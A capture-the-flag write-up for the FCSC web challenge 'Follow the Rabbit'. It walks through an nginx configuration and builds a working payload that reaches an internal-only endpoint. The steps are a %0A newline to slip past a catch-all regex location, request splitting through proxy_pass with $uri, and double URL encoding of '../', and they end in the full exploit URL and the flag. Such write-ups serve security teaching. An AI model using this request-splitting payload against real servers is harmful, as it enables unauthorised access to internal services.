Writeup by naacbin for Follow the Rabbit

web

November 6, 2023

Follow the Rabbit

Resolution

For this challenge, we are provided with the following nginx configuration:

http {
    charset utf-8;

    access_log /dev/stdout combined;
    error_log /dev/stdout debug;

    upstream @deeper {
        server 127.0.0.1:8082;
    }

    server {
        listen 80;
        server_name _;

        location ~* ^(.*)$ {
            return 200 "I'm late! I'm late! For a very important date!";
        }

        location / {
            return 200 "Oh dear, oh dear! I shall be too late!";
        }

        location /deeper {
            proxy_pass http://@deeper$uri$is_args$args;
        }
    }

    server {
        listen 8082;
        server_name deeper;
        include flags.conf;

        location /deeper {
            add_header X-Original-Path "$uri";
            add_trailer X-Trailer "Coming to a nginx close to you" ;

            return 200 "No time to say hello, goodbye! I'm late! I'm late! I'm late!";
        }

        location /deepest {
            return 200 "$flag";
        }
    }
}

We can already tell that to reach the flag, we need to access the /deepest endpoint, which is behind a reverse proxy.

It is impossible (for now) to get to this endpoint as a non-localhost source because it is only defined in the server block listening on port 8082, which is bound to localhost. In the server block listening on port 80, there is a location block for /deeper that proxies requests to the deeper server running on localhost:8082. However, the /deepest endpoint is not reachable since requests must start with /deeper to be accessed through this proxy.

Regex bypass

To start, we notice that trying to access the /deeper page doesn’t work because the regular expression ^(.*)$ used in the first directive seems to catch all requests.

$ curl "http://localhost:8000/deeper"
I'm late! I'm late! For a very important date!

The documentation nginx confirms that the ~* prefix indicates the use of a regex. Referring to regex101, we see that the regex matches everything except \n.

image

We adjust our request accordingly and successfully bypass the first filter.

$ curl "http://localhost:8000/%0A/"
Oh dear, oh dear! I shall be too late!%

Proxy pass $URI

Now that we’ve reached the / directive, we’ll try to access /deeper. We know that our request must start with /deeper to enter the directive, but we still need a \n to bypass the initial regex. We observe in the docker logs that there are two requests, with one sent from localhost. This indicates that we are indeed passing through the /deeper directive, but the request must be malformed since we don’t receive a response.

public-follow-the-rabbit-1  | 127.0.0.1 - - [29/Apr/2023:16:47:12 +0000] "GET /deeper" 200 60 "-" "-"
public-follow-the-rabbit-1  | 172.25.0.1 - - [29/Apr/2023:16:47:12 +0000] "GET /deeper%0A/ HTTP/1.1" 009 60 "-" "curl/8.0.1"
public-follow-the-rabbit-1  | 2023/04/29 16:47:12 [info] 30#30: *1 client 172.25.0.1 closed keepalive connection

We change the listening port from 8082 to 8083, then rebuild the Docker container with docker-compose down && docker-compose build && docker-compose up, connect to it with a shell docker exec -it public-follow-the-rabbit-1 sh and run netcat in listening mode.

# nc -lvnp 8082

GET /deeper
/ HTTP/1.0
Host: @deeper
Connection: close
User-Agent: curl/8.0.1
Accept: */*

We see that the \n creates a new request, so all we need is a valid HTTP request as shown below.

Don’t forget (like I did) the two line returns to mark the end of the request.

GET /deeper HTTP/1.0\n
Host: localhost\n\n

We get a valid request with the payload /deeper%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/, which allows us to move on to the final step.

The end of the payload GET%20/ is not necessary as we will not receive the response from the second request.

$ curl "http://localhost:8000/deeper%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/"

GET /deeper HTTP/1.0
Host: localhost

GET / HTTP/1.0
Host: @deeper
Connection: close
User-Agent: curl/8.0.1
Accept: */*

Double encoding

There is an explanation that I deliberately left out in the previous section. Why did the line return create two requests instead of just one, as in the first step ?

This is due to the fact that the request is normalized, as stated in the documentation. Nginx interprets %XX hexadecimal values.

image

We also learn that it decodes ., .. and /.

The matching is performed against a normalized URI, after decoding the text encoded in the “%XX” form, resolving references to relative path components “.” and “..”, and possible compression of two or more adjacent slashes into a single slash.

We will use double URL encoding to get a payload as /deeper/../deepest, which will only be interpreted as /deepest once it gets through the proxy. For example, when nginx decodes the URL, it first decodes %25 as a percent sign (%), and then decodes the remaining 2f as a forward slash (/).

The final request will be https://follow-the-rabbit.france-cybersecurity-challenge.fr/deeper%252F%252E%252E%252Fdeepest%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/

Flag

FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}